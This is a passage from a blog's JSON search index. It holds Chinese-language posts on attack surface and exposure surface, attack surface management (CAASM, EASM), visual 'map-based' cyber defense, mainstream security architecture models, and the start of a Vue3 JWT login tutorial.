包含所有潜在攻击路径（含暴露面及内部系统、人为因素等）‌ ‌动态性‌ 相对静态，与系统配置直接相关‌ 动态变化，受漏洞、人为因素等影响‌ 关注点‌ 资源对外暴露的“可见性”‌，可见性和可访问性 攻击者可利用的“漏洞总和”‌，潜在漏洞和攻击路径 防御重点 减少不必要的公开资产 全面风险管理（技术+管理） 管理策略 定期扫描并关闭不必要的服务，使用防火墙限制访问，最小化公开资产。 漏洞管理、员工培训、权限控制、持续监控（如日志审计、入侵检测）。 示例 如：公司官网（example.com）开放了80和443端口，允许用户访问。 若官网存在未修复的XSS漏洞（技术风险），且管理员使用弱密码（人为风险），两者均属于攻击面。 三、防护侧重点 1. ‌暴露面管理‌ ‌原则‌：遵循最小权限，仅开放必要端口或服务‌。 ‌措施‌：网络隔离、访问控制、定期审查暴露资源‌。 2. ‌攻击面管理‌ ‌原则‌：降低漏洞利用可能性，覆盖技术、流程、人为因素‌。 ‌措施‌：渗透测试、安全评估、漏洞修复、权限管控‌。 四、总结 ‌暴露面是攻击面的子集‌，两者区别在于：暴露面聚焦“对外可见性”，攻击面覆盖“可利用性”；前者是静态防御的基础，后者需动态应对综合风险‌。缩小暴露面可降低被攻击概率，而减少攻击面则能全面降低风险。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-02-24-%E4%BB%80%E4%B9%88%E6%98%AF%E4%BA%92%E8%81%94%E7%BD%91%E6%9A%B4%E9%9C%B2%E9%9D%A2%E4%BB%80%E4%B9%88%E6%98%AF%E6%94%BB%E5%87%BB%E9%9D%A2%E6%9A%B4%E9%9C%B2%E9%9D%A2%E4%B8%8E%E6%94%BB%E5%87%BB%E9%9D%A2%E6%9C%89%E4%BB%80%E4%B9%88%E5%8C%BA%E5%88%AB/","summary":"\u003ch2 id=\"一定义与核心概念\"\u003e一、定义与核心概念\u003c/h2\u003e\n\u003ch3 id=\"1-互联网暴露面\"\u003e1. ‌互联网暴露面‌\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003e定义\u003c/strong\u003e：指组织在互联网上公开可访问的数字化资产和服务，如服务器、开放端口、API、网站、云服务等。\n\u003cstrong\u003e暴露面\u003c/strong\u003e指网络系统中\u003cstrong\u003e对外界开放的可见部分\u003c/strong\u003e，包括公开的接口、网络端口、服务或应用程序等。例如Web服务、API、数据库端口等，这些资源可直接被外部访问或识别‌。暴露面的大小直接影响潜在攻击机会‌。\u003c/p\u003e","title":"什么是互联网暴露面？什么是攻击面？暴露面与攻击面有什么区别？"},{"content":"攻击面是网络安全防御的“第一道防线”，其管理能力直接决定企业的安全基线。\n攻击面管理（Attack Surface Management，ASM）是一种新兴的网络安全策略和实践，旨在通过持续发现、分析、监控和评估组织内外部的所有资产，识别并管理潜在的安全风险。其核心是从攻击者的视角出发，主动识别企业网络资产的攻击面及脆弱性，包括已知和未知的资产、漏洞、配置缺陷以及泄露信息等。\n一、什么是攻击面 要了解攻击面管理（ASM）首先需要了解什么是攻击面。攻击面指的是所有可能被攻击者利用的入口点，比如硬件、软件、云服务等等。攻击面（Attack Surface） 是网络安全领域的核心概念，指一个系统、网络或组织中可能被攻击者利用的所有潜在入口点和漏洞的集合。简单来说，它是攻击者可能发起攻击的“可触及范围”，范围越大，暴露的风险越高，防御难度也越大。\n攻击面的核心组成部分 攻击面通常由以下要素构成：\n技术资产 ○ 硬件：服务器、路由器、IoT设备、摄像头等。 ○ 软件：操作系统、应用程序、API、开源组件等。 ○ 网络服务：开放的端口（如HTTP 80端口、SSH 22端口）、云服务（如AWS S3存储桶）、域名等。 配置缺陷 ○ 默认密码未修改、权限设置错误、未加密的通信协议（如HTTP）、冗余服务（如未关闭的测试环境）等。 数据暴露 ○ 敏感数据泄露（如数据库备份文件被公开）、代码仓库中的密钥硬编码、日志文件中的用户信息等。 人为因素 ○ 员工的安全意识薄弱（如点击钓鱼链接）、第三方供应商的访问权限、社会工程攻击的潜在目标。 供应链风险 ○ 依赖的第三方软件漏洞（如Log4j）、开源库的未更新版本、外包开发引入的后门等。 攻击面扩大的原因 数字化转型：云服务、微服务架构、远程办公导致资产分散化。 影子IT：员工私自部署未授权的应用或设备（如个人NAS）。 复杂供应链：第三方服务、开源组件的依赖增加。 自动化攻击工具：攻击者可快速扫描全网暴露资产（如Shodan搜索引擎） 二、攻击面的分类 根据视角和范围，攻击面可分为以下两类：\n外部攻击面（External Attack Surface） ○ 定义：暴露在互联网上，能被外部攻击者直接访问的资产和漏洞。 ○ 典型示例： ■ 面向公网的Web应用、API接口。 ■ 云存储桶的错误配置（如公开可读）。 ■ 员工在GitHub意外上传的数据库凭证。 ○ 管理工具：EASM（外部攻击面管理）。 内部攻击面（Internal Attack Surface） ○ 定义：仅限内部网络访问，但可能被已渗透的攻击者横向利用的弱点。 ○ 典型示例： ■ 内网未修复的漏洞（如永恒之蓝漏洞）。 ■ 域控制器权限滥用、共享文件夹过度开放。 ■ 内部员工滥用权限窃取数据。 ○ 管理工具：CAASM（网络资产攻击面管理）、内部漏洞扫描器。 三、网络资产攻击面管理(CAASM) 网络资产攻击面管理(CAASM)全称（Cyber Asset Attack Surface Management, CAASM）是一种网络安全技术或方法论，旨在帮助组织全面发现、识别、监控和管理其数字化资产（包括硬件、软件、云服务、API、物联网设备等）的潜在攻击面，从而降低安全风险并提升防御能力。CAASM通过整合现有安全工具（如漏洞扫描器、EDR、CMDB等）的数据，构建统一的资产视图，覆盖内部网络、云环境、第三方服务等所有资产。其核心目标是解决资产分散、数据孤岛和未知资产的问题，帮助安全团队识别安全控制中的漏洞与差距，并协调修复。\nCAASM 的核心功能 自动化资产发现 ○ 通过主动扫描、被动流量分析、API集成等方式，自动发现企业内外的所有资产，包括未授权的“影子IT”（如员工私建的云实例、未知设备）。 ○ 覆盖范围包括本地基础设施、云环境（AWS、Azure等）、第三方服务、物联网设备等。 资产分类与优先级排序 ○ 根据资产类型（服务器、数据库、API）、业务重要性、暴露程度（如是否面向公网）等，对资产进行分类和风险评估。 ○ 帮助安全团队优先处理高风险资产（如暴露在互联网的敏感数据库）。 攻击面可视化与实时监控 ○ 通过仪表盘展示所有资产的拓扑关系和暴露路径，直观呈现攻击面。 ○ 实时监控资产状态变化（如新开放的端口、新增的云服务），及时发现异常。 与现有工具集成 ○ 整合漏洞扫描工具（如Nessus）、EDR（端点检测与响应）、防火墙日志等，形成统一的资产视图。 ○ 利用API打通数据孤岛，避免不同工具间的信息割裂。 风险评估与缓解建议 ○ 结合漏洞数据、威胁情报和资产上下文，生成风险评分。 ○ 提供修复建议（如关闭不必要的端口、更新补丁）或临时缓解措施（如配置防火墙规则）。 网络资产攻击面管理(CAASM)与传统资产管理的区别 传统资产管理工具（如CMDB）通常依赖手动录入或静态数据，且缺乏对攻击面的动态分析。而CAASM的特点包括： ● 主动发现：自动识别资产，减少人为遗漏。 ● 攻击面视角：不仅记录资产，还分析其暴露程度和潜在风险。 ● 实时性：持续监控变化，适应动态环境（如云资源的弹性扩展）。 ● 威胁关联：结合漏洞、配置错误和威胁情报进行综合分析。\n四、外部攻击面管理（EASM） 外部攻击面管理（External Attack Surface Management, EASM） 是一种以攻击者视角为核心的安全管理方法，旨在持续发现、监控和评估组织暴露在互联网上的所有数字资产及其潜在风险。这些资产包括服务器、域名、云服务、API、物联网设备等，同时也涵盖影子资产（如未授权的云实例）、错误配置、开放端口、未修复漏洞以及敏感数据泄露等问题。EASM的关键在于通过外部视角模拟攻击者的行为，识别可能被利用的薄弱点，从而提前修复风险。\n外部攻击面管理（EASM）的核心功能 外部攻击面管理（EASM）的核心功能主要包括以下几个方面：\n泛资产发现与监控 通过分布式探测引擎，持续扫描和监控外部环境，识别和编目从互联网可访问的数字资产，包括域名、IP地址、网页应用程序、API、云服务、影子资产、仿冒资产等。这些功能为企业提供了全面的资产暴露面视图。 攻击触点识别与评估 在攻防视角下，依托指纹库和情报库，对发现的资产进行弱点检测，包括漏洞扫描、弱口令检测、敏感数据识别等。同时，结合供应链情报和攻防情报，评估资产被利用的风险。 数据泄露监测 覆盖全网（包括暗网、深网、代码托管平台、网盘、文库等）范围，监测敏感数据泄露情况，及时发现并处理潜在的数据泄露风险。 攻击面分析 基于弱点检测结果，综合分析资产的风险，识别可能的攻击路径和风险等级。评估一旦发生安全事件，业务可能受影响的范围，并提供风险收敛的优先级建议。 风险评估与预警 评估外部攻击面相关的风险，并根据威胁的潜在影响和可能性进行优先级排序。提供7×24小时的风险预警服务，包括暴露面变动提醒、数据泄露监测、网站篡改和黑链预警等。 持续监控与适应 定期对外部攻击面进行实时扫描和监控，结合威胁情报源和漏洞管理，检测新的或变化的资产、漏洞和威胁，并根据这些变化调整安全策略。 五、网络资产攻击面管理（CAASM）与外部攻击面管理（EASM）的联系与区别 EASM与CAASM的联系 共同目标：两者均属于攻击面管理（ASM）的核心组成部分，旨在缩小攻击面、降低安全风险。 互补性：EASM提供外部视角的资产发现和风险分析，而CAASM整合内外资产数据，形成全局视图。例如，EASM发现的外部暴露资产可输入到CAASM系统中进行关联分析。 数据整合：CAASM依赖EASM和DRPS（数字风险保护服务）的数据源，实现更全面的资产清单管理。 EASM与CAASM的区别 维度 EASM CAASM 视角 攻击者视角（外部“黑盒”扫描） 防御者视角（内部“白盒”数据整合） 覆盖范围 互联网暴露的资产（如云服务、域名、第三方应用） 内外部所有资产（包括网络设备、服务器、API、IoT设备等） 技术手段 依赖网络空间测绘、主动扫描、暗网监控 通过API与现有工具集成（如CMDB、漏洞扫描器），聚合多源数据 核心功能 资产发现、漏洞优先级排序、数据泄露检测、供应链风险评估 资产清点、数据关联分析、安全控制差距识别、自动化修复建议 适用场景 暴露在公网的资产风险管理（如云服务、子公司资产） 复杂混合环境（如多云、本地数据中心）的资产可见性与合规管理 数据来源 外部扫描、公开网络、暗网情报 内部系统日志、IT工具接口、CMDB数据库 典型应用场景对比 EASM： ○ 云安全治理：发现公有云上的错误配置或未授权实例。 ○ 供应链风险：评估第三方服务商的暴露面，如合作伙伴的漏洞代码。 ○ 敏感数据泄露：监控暗网或公共平台（如GitHub）上的数据泄露。 CAASM： ○ 影子资产管理：通过整合EDR、防火墙日志等，发现未登记的内部设备。 ○ 漏洞优先级排序：结合资产业务价值与漏洞严重性，优化修复策略。 ○ 合规性报告：生成统一的资产与安全控制报告，满足ISO 27001等合规要求。 ● EASM更强调从外部攻击者的角度发现风险，适用于防御边界模糊的互联网暴露场景。 ● CAASM则聚焦于内部资产的全面可见性，解决复杂IT环境下的数据孤岛问题。 ● 协同作用：在实际应用中，两者需结合使用。例如，EASM发现的外部风险需通过CAASM与内部资产关联分析，形成闭环管理。\n未来，随着攻击面管理技术的成熟，EASM与CAASM可能会进一步融合到统一平台中，实现更高效的风险收敛。\n六、攻击面管理的优势与应用场景 随着技术的发展，攻击面正从传统IT向云、物联网、供应链等方向快速扩展，企业需借助自动化工具（如EASM、CAASM）和系统化策略，实现攻击面的持续收敛与风险控制。\n攻击面管理的优势 ● 主动防御：从传统的被动防御模式转变为积极主动地发现和管理潜在风险。 ● 全面覆盖：不仅关注已知资产，还能发现未知的影子资产和泄露信息。 ● 动态适应：能够适应云计算、物联网等复杂环境，并与现有安全工具（如SOC、SIEM）集成。 ● 风险量化：提供更精细的风险评估和量化功能，帮助企业制定有效的安全策略。\n应用场景 攻击面管理适用于多种场景，包括但不限于： ● 企业数字化转型：应对云计算、物联网等新技术带来的复杂攻击面。 ● 供应链安全：评估和管理供应商基础设施中的安全风险。 ● 安全运营：与安全运营中心（SOC）结合，提升整体安全管理水平。\n随着技术的不断发展，攻击面管理正朝着自动化、智能化、云原生化的方向发展，并与企业的业务风险管理流程紧密结合。\n博客文章：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-02-19-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E4%BB%80%E4%B9%88%E6%98%AF%E6%94%BB%E5%87%BB%E9%9D%A2%E7%AE%A1%E7%90%86asm/","summary":"\u003cp\u003e攻击面是网络安全防御的“第一道防线”，其管理能力直接决定企业的安全基线。\u003c/p\u003e\n\u003cp\u003e攻击面管理（Attack Surface Management，ASM）是一种新兴的网络安全策略和实践，旨在通过持续发现、分析、监控和评估组织内外部的所有资产，识别并管理潜在的安全风险。其核心是从攻击者的视角出发，主动识别企业网络资产的攻击面及脆弱性，包括已知和未知的资产、漏洞、配置缺陷以及泄露信息等。\u003c/p\u003e","title":"一文搞懂什么是攻击面管理（ASM）"},{"content":"一、网络安全挂图作战来源与定义 1、网络安全挂图作战的来源 网络安全挂图作战的概念源于传统军事作战中的“挂图作战”，即通过地图来指挥和协调作战行动。在网络空间安全领域，这一概念被引入并发展为一种新的网络安全管理和防御策略。其灵感来自于地理学中的“人地”关系理论，通过将网络空间的要素与地理空间相结合，构建网络空间地图。\n在2020年7月，网络安全专家郭启全等在《中国科学院院刊》上发表了《发展网络空间可视化技术支撑网络安全综合防控体系建设》研究文章，论述了网络空间“挂图作战”的基本理念和发展愿景。\n同年公安部印发《贯彻落实网络安全等保制度和关保制度的指导意见》（公网安[2020]1960号），明确提出“要加强网络新技术研究和应用，研究绘制网络空间地理信息图谱(网络地图)，实现挂图作战”。\n2、网络安全挂图作战的定义 挂图作战： 按计划、按目标、按进度、按要求实施的一种作战方式或工作方法。 网络安全挂图作战的核心思想：将攻击者的攻击路径和影响范围以图形化方式展现，帮助防守方更直观、全面地理解攻击者的行为以及对组织资产的影响，从而更有效地进行威胁检测、分析、响应等动作。\n网络安全挂图作战是一种通过可视化技术将网络安全态势、资产、威胁等信息以图形化方式展示出来的方法。其核心在于通过构建网络空间地图，实现对网络安全事件的全过程展示和管理，通过“看、管、防、控”一体化实现主动防御的工作模式。\n其核心价值在于： ● 攻防视角可视化：将攻击者的路径、手段及影响范围图形化呈现，辅助防守方快速定位薄弱点。 ● 全生命周期管理：覆盖威胁检测、分析、响应、复盘的全流程闭环。 ● 协同作战能力：整合多部门、多工具数据，打破信息孤岛，提升响应效率。\n具体来说，挂图作战包括以下几个方面：\n可视化展示：将网络环境中的各个要素（如资产、漏洞、威胁等）以图形化的方式呈现，提高网络安全的可视化程度。 态势感知与分析：通过挂图作战平台，实时监测和感知网络安全态势，及时发现和分析安全威胁。 决策支持：为安全决策提供直观的数据支持，帮助安全团队更好地研判和处置安全事件。 协同作战：支持多方协同作战，整合不同安全工具和平台的信息，提高安全事件的响应速度和处理效率。 通过这些功能，网络安全挂图作战能够有效地提升网络安全防护的效率和准确性，帮助组织更好地应对复杂的网络安全挑战。\n二、挂图作战关键技术 网络空间测绘技术 ● 资产指纹库：通过主动扫描（如端口探测、协议解析）和被动流量分析（如流量镜像），识别网络中的设备、服务、应用及版本信息。 ● 拓扑自动发现：利用路由追踪、SNMP协议等，绘制网络节点间的连接关系和通信路径。 动态可视化引擎 ● 图数据库（Neo4j、GraphX）：存储复杂的资产关系与攻击链路，支持快速查询和路径分析。 ● 威胁热力图：根据攻击频率、漏洞严重性等参数生成风险热区，直观标注高危区域。 攻击链建模（Cyber Kill Chain） ● MITRE ATT\u0026amp;CK框架集成：将攻击者的TTPs（战术、技术、过程）映射到网络地图中，预判攻击路径。 ● 攻击模拟推演：基于红队工具（如Cobalt Strike）模拟攻击行为，验证防御策略有效性。 自动化响应编排（SOAR） ● 剧本（Playbook）驱动：当检测到攻击时，自动触发防火墙封禁、隔离主机、下发补丁等动作。 ● 人机协同：高风险操作需人工确认，避免误拦截影响业务。 多源数据融合 ● 跨平台集成：对接EDR、SIEM、漏洞扫描器等工具，聚合日志、告警和资产数据。 ● 威胁情报联动：接入外部威胁情报（如恶意IP库、漏洞库），实时更新攻击特征。 三、挂图作战与传统态势感知的差异 对比维度 传统态势感知 挂图作战 核心目标 被动监控全网安全状态 主动防御，聚焦攻击路径阻断与协同响应 数据粒度 宏观指标（如告警数量、风险等级） 微观到单个资产、漏洞、攻击链节点的精准定位 可视化方式 仪表盘（Dashboard）与统计图表 交互式网络地图，支持攻击链路动态推演 响应模式 人工研判后分步处置 自动化剧本执行 + 跨团队指令同步 适用场景 日常监控与合规报告 实战攻防（如HW行动）、应急响应、红蓝对抗 技术重心 大数据分析与告警聚合 攻击链建模、可视化指挥、自动化编排 四、挂图作战主要场景 关键基础设施防护 ● 场景痛点：能源、交通等行业的OT系统（工控网络）存在大量老旧设备，难以实时监控。 ● 挂图方案： ○ 绘制OT网络拓扑，标注PLC、SCADA系统的物理位置与逻辑连接。 ○ 当检测到异常指令（如未授权的参数修改）时，地图自动定位受影响设备并隔离。 重大活动安保 ● 场景痛点：活动期间网络访问激增，需防范DDoS、网页篡改等针对性攻击。 ● 挂图方案： ○ 构建“活动专属作战地图”，集成CDN节点、票务系统、直播平台等核心资产。 ○ 实时标注攻击源IP（如来自特定国家的扫描行为），联动云WAF自动封禁。 供应链攻击防御 ● 场景痛点：第三方软件或服务漏洞可能成为攻击跳板（如SolarWinds事件）。 ● 挂图方案： ○ 标注供应链厂商的接入点及权限范围，监控异常横向移动。 ○ 当某供应商账号异常登录时，地图高亮关联资产并触发权限回收。 红蓝对抗演练 ● 场景痛点：传统攻防演练中防守方难以快速定位攻击入口。 ● 挂图方案： ○ 红队攻击路径实时映射到地图，蓝队可追溯攻击者从外网渗透到内网提权的全过程。 ○ 演练结束后生成攻击路径复盘报告，优化防御策略。 零日漏洞应急响应 ● 场景痛点：漏洞爆发后（如Log4j），企业需快速定位受影响资产。 ● 挂图方案： ○ 输入漏洞特征（如JNDI调用），地图自动标记存在漏洞的服务实例。 ○ 联动补丁管理系统，按业务优先级分批修复。 五、未来趋势 数字孪生融合：结合数字孪生技术，实现网络空间与物理世界的1:1映射。 AI辅助决策：通过大语言模型（LLM）生成自然语言防御建议，降低操作门槛。 跨域协同：与国土安全、城市应急系统联动，构建国家级网络空间地图。 结语 “挂图作战”标志着网络安全从“被动告警”迈向“主动防御”的范式转变。通过将虚拟攻击映射为可视化的“战场”，企业不仅能看清自身防御盲区，更能在攻防对抗中抢占先机。随着技术的演进，未来的网络安全指挥中心或许将如军事作战室一般，通过一张动态地图掌控全局。\n博客文章：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-02-18-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%8C%82%E5%9B%BE%E4%BD%9C%E6%88%98%E5%8F%8A%E5%85%B6%E5%9C%BA%E6%99%AF/","summary":"\u003ch2 id=\"一网络安全挂图作战来源与定义\"\u003e一、网络安全挂图作战来源与定义\u003c/h2\u003e\n\u003ch3 id=\"1网络安全挂图作战的来源\"\u003e1、网络安全挂图作战的来源\u003c/h3\u003e\n\u003cp\u003e网络安全挂图作战的概念源于传统军事作战中的“挂图作战”，即通过地图来指挥和协调作战行动。在网络空间安全领域，这一概念被引入并发展为一种新的网络安全管理和防御策略。其灵感来自于地理学中的“人地”关系理论，通过将网络空间的要素与地理空间相结合，构建网络空间地图。\u003c/p\u003e","title":"网络安全“挂图作战”及其场景"},{"content":"目前，国际主流的网络安全架构模型主要有： ● 信息技术咨询公司Gartner的ASA（Adaptive Security Architecture自适应安全架构） ● 美国政府资助的非营利研究机构MITRE的ATT\u0026amp;CK（Adversarial Tactics Techniques \u0026amp; Common Knowledge 对抗战术技术和常识） ● 信息技术咨询公司Gartner的CSMA（Cybersecurity Mesh Architecture网络安全网格架构）\n1. Gartner提出的ASA（Adaptive Security Architecture自适应安全架构） 2014年，针对于当时业界安全产品主要重在防御和边界，安全态势形成严重挑战的问题，Gartner公司首次提出ASA（Adaptive Security Architecture自适应安全架构），希望业界能从单纯被动防御和应急响应的思路中解放出来，通过加强持续监测和分析预测提升主动防御能力，1.0架构主要包括以下四个象限：\n预防Pretect，通过系统加固和隔离等手段来减少系统暴漏面积，比如采用黑名单； 检测Detect，持续监视/检测事故的发生并对其进行评估，对检出的事故进行隔离，以防止其造成进一步的破坏； 响应Response，事故发生之后需要对事故进行补救和溯源； 预测Predict，根据以往已经存在的威胁，来预测潜在的威胁。 2017年，针对于高级攻击的防御架构，Gartner公司在1.0架构的基础上进行了相关的理论丰富，将自适应安全架构的外延扩大，自适应安全架构进入2.0时期：\n“持续监控分析”改成“持续可视化和评估”，同时加入UEBA相关的内容（User\u0026amp; Entity behavior analytics用户和实体的行为分析）; 引入每个象限的小循环体系，不仅仅是四个象限大循环； 在大循环中加入了策略和合规要求，同时对大循环的每个步骤说明了循环的目的，到保护象限是实施动作、到检测象限是监测动作、到响应和预测象限都是调整动作。 2018年，Gartner公司正式确认了CARTA（Continuous Adaptive Risk and Trust Assessment持续自适应风险与信任评估）的安全趋势，即自适应安全架构3.0。相比2.0架构，3.0架构最大的变化是把2.0架构作为攻击的保护外环,增加关于访问的保护内环，原因在于：\n2.0架构未考虑认证问题，导致完整性有缺失，如黑客获取有效认证内容，如用户名密码，自适应架构对于此类事件是“可信”的，威胁无法感知； 为加强云时代下的云服务的发现、访问、监控和管理，3.0架构将CASB（Cloud Access Security Broker云访问安全代理）作为原型挪到了这个总体架构中，解决了部分认证问题； 如果认证体系只是一次性认证并没有持续的监控和审计，必须要有被窃取认证信息的心理预期，所以要持续的进行监控和分析以及响应，形成闭环。 3.0架构的适用场景变得更为广泛，包括了安全响应、数据保护、安全运营中心、开发安全运维、物联网、供应链安全、业务持续和灾难恢复等领域。\n2. MITRE提出ATT\u0026amp;CK（Adversarial Tactics Techniques \u0026amp; Common Knowledge 对抗战术技术和常识） ATT\u0026amp;CK（Adversarial Tactics Techniques \u0026amp; Common Knowledge 对抗战术技术和常识）是一个知识库，它从攻击者的角度看待问题，理顺了攻击者渗透网络、入侵主机、提升权限、隐秘移动和渗漏数据的攻击链，建立了网络攻击中使用的战术和技术的详尽列表，呈现了攻击者在攻击网络时所采用的行为，并且详细介绍了每一种技术的利用方式。\n该模型被CISA（美国网络安全与基础设施安全局）和FBI以及超过80%的企业用于威胁调查，它对于政府或企业组织来说都非常有用，因为组织需要建立一个基于威胁的防御体系。\nATT\u0026amp;CK模型可以帮助网络事件响应团队(CERT)、安全运营中心(SOC)、红蓝队、威胁猎手、IT部门等安全团队，更好地测试、开发和排序其检测和响应机制，对公司的业务、行业和知识产权提供高效安全保障，具体可分为：\nDetections and Analytics（检测和分析）：帮助网络防御者开发分析程序，以检测对手使用的技术。 Threat Intelligence（威胁情报）：为分析人员提供了一种通用语言来构造，比较和分析威胁情报。 Adversary Emulation and Red Teaming（攻击模拟）：提供了一种通用语言和框架，攻击模拟团队可以使用该语言和框架来模拟特定威胁并计划其行动。 Assessment and Engineering（评估与工程化）：可用于评估组织的能力并推动工程决策。 但是，安全公司McAfee与加州大学伯克利分校长期网络安全中心的联合调研项目发现，很多网络安全团队在框架应用方面仍然面临诸多挑战：\n大多数采用ATT\u0026amp;CK框架的安全团队都没有实现自动化。虽然91%的企业使用ATT\u0026amp;CK框架来标记网络安全事件，但只有不到一半的企业可以自动更改部分安全策略； ATT\u0026amp;CK框架和安全产品之间的互操作性存在困难； 难以将网络安全事件映射到安全策略更改，以及无法关联来自云、网络和端点的事件； 企业使用的安全产品可能无法检测到ATT\u0026amp;CK矩阵中存在的所有技术。 2021年，MITRE发布了ATT\u0026amp;CK的第十个版本，该版本最大的变化是在企业矩阵（Enterprise ATT\u0026amp;CK）中添加了一组新的数据源和数据组件对象，以补充ATT\u0026amp;CK v9中发布的数据源名称更改。新版ATT\u0026amp;CK企业矩阵包含14个战术、188个技术、379个子技术、129个组和638个软件。\n3. Gartner提出的CSMA（Cybersecurity Mesh Architecture网络安全网格架构） 随着更多的应用和数据迁移到云服务，传统网络边界已经消失，网络安全威胁形势日益复杂。同时，网络攻击手段也在快速演进，AI和大规模自动化技术驱动的新型威胁层出不穷，带来了快速增长的网络攻击数量。在这种形势下，传统安全手段已经无以为继，组织普遍存在网络安全技能短缺的困境。因此，Gartner在2021年一种全新的安全架构模式CSMA（Cybersecurity Mesh Architecture网络安全网格架构）。\nCSMA架构是一种现代安全方法，包括在最需要的地方部署控制措施、构建身份化的零信任网络并以身份作为安全边界，通过提供基础安全服务以及集中式策略管理和编排功能，使诸多工具能够协同操作，而不是每个安全工具都在孤岛环境中使用。 通过CSMA架构，可以获得所有边缘的深度可见性、集中管理分布式解决方案、策略的一致执行、利用威胁情报、通过集成第三方能力以更好地防卫已知和未知攻击、跨混合环境自动执行可操作响应等优势。\nCSMA架构希望通过搭建一个全面覆盖、深度集成、动态协同的“网络安全网格平台”，将不同厂商的安全工具整合为一个协同生态系统，让组织能够灵活地进行方案部署，同时从集成和融合的运营、可视化和安全性中受益，对于在当前不断扩展的网络中，降低复杂度和提高整体安全有效性至关重要。\n博客文章：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-11-18-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%B9%8B%E5%9B%BD%E9%99%85%E4%B8%BB%E6%B5%81%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%9E%B6%E6%9E%84%E6%A8%A1%E5%9E%8B/","summary":"\u003cp\u003e目前，国际主流的网络安全架构模型主要有：\n● 信息技术咨询公司Gartner的ASA（Adaptive Security Architecture自适应安全架构）\n● 美国政府资助的非营利研究机构MITRE的ATT\u0026amp;CK（Adversarial Tactics Techniques \u0026amp; Common Knowledge 对抗战术技术和常识）\n● 信息技术咨询公司Gartner的CSMA（Cybersecurity Mesh Architecture网络安全网格架构）\u003c/p\u003e","title":"网络安全之国际主流网络安全架构模型"},{"content":"在《django应用JWT(JSON Web Token)实战》介绍了如何通过django实现JWT，并以一个具体API接口实例的调用来说明JWT如何使用。本文介绍如何通过vue3的前端应用来使用JWT认证调用后端的API接口，实现一下的登录认证获取JWT进行接口认证。\n一、账号密码登录获取JWT 通过Login.vue实现登录的用户名、密码表单信息收集，调用getToken()方法进行鉴权验证并获取jwt的token。 Login.vue\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;body\u0026#34;\u0026gt; \u0026lt;el-form :model=\u0026#34;form\u0026#34; :rules=\u0026#34;rules\u0026#34; ref=\u0026#34;loginForm\u0026#34; class=\u0026#34;loginContainer\u0026#34;\u0026gt; \u0026lt;h3 class=\u0026#34;loginTitle\u0026#34;\u0026gt; 欢迎登录 \u0026lt;/h3\u0026gt; \u0026lt;el-form-item label=\u0026#34;用户名\u0026#34; prop=\u0026#34;username\u0026#34; :label-width=\u0026#34;formLabelWidth\u0026#34;\u0026gt; \u0026lt;el-input type=\u0026#34;text\u0026#34; v-model=\u0026#34;form.username\u0026#34; placeholder=\u0026#34;请输入用户名\u0026#34;\u0026gt;\u0026lt;/el-input\u0026gt; \u0026lt;/el-form-item\u0026gt; \u0026lt;el-form-item label=\u0026#34;密码\u0026#34; prop=\u0026#34;password\u0026#34; :label-width=\u0026#34;formLabelWidth\u0026#34;\u0026gt; \u0026lt;el-input type=\u0026#34;password\u0026#34; v-model=\u0026#34;form.password\u0026#34; placeholder=\u0026#34;请输入密码\u0026#34;\u0026gt;\u0026lt;/el-input\u0026gt; \u0026lt;/el-form-item\u0026gt; \u0026lt;el-form-item :label-width=\u0026#34;formLabelWidth\u0026#34;\u0026gt; \u0026lt;el-button type=\u0026#34;primary\u0026#34; :plain=\u0026#34;true\u0026#34; @click=\u0026#34;submitForm(\u0026#39;form\u0026#39;)\u0026#34;\u0026gt;登录\u0026lt;/el-button\u0026gt; \u0026lt;/el-form-item\u0026gt; \u0026lt;/el-form\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import { useUserStore } from \u0026#39;@/stores/user\u0026#39; import { ElMessage } from \u0026#39;element-plus\u0026#39;; import {getToken} from \u0026#39;../api/user\u0026#39; export default { data() { return { form: { username: \u0026#39;\u0026#39;, password: \u0026#39;\u0026#39;, err_username: \u0026#34;\u0026#34;, err_password: \u0026#34;\u0026#34;, }, rules: { username: [ { required: true, message: \u0026#39;请输入用户名\u0026#39;, trigger: \u0026#39;blur\u0026#39; } ], password: [ { required: true, min:6, message: \u0026#39;请输入密码\u0026#39;, trigger: \u0026#39;blur\u0026#39; } ] }, formLabelWidth: \u0026#39;120px\u0026#39; }; }, methods: { submitForm(formName) { if (this.$refs.loginForm) { this.$refs.loginForm.validate(valid =\u0026gt; { if (valid) { // 提交表单逻辑 console.log(\u0026#39;提交成功:\u0026#39;, this.form); this.login(); } else { console.log(\u0026#39;验证失败\u0026#39;); ElMessage.error(\u0026#39;验证失败，请检查您的输入！\u0026#39;); } }); } else { console.error(\u0026#39;表单未找到\u0026#39;); } }, login() { var that = this; this.message = \u0026#34;\u0026#34;; // 用户名密码鉴权获取jwt的token getToken({ \u0026#39;username\u0026#39;: this.form.username, \u0026#39;password\u0026#39;: this.form.password, }).then((Response) =\u0026gt; { console.log(Response); if (Response \u0026amp;\u0026amp; Response.access) { // //保存数据到本地存储 this.username= that.form.username; useUserStore().login(this.username,Response.access,Response.refresh) this.username = \u0026#34;\u0026#34;; this.password = \u0026#34;\u0026#34;; this.$router.push({name:\u0026#34;home\u0026#34;}); //跳转到首页 } }) .catch(function 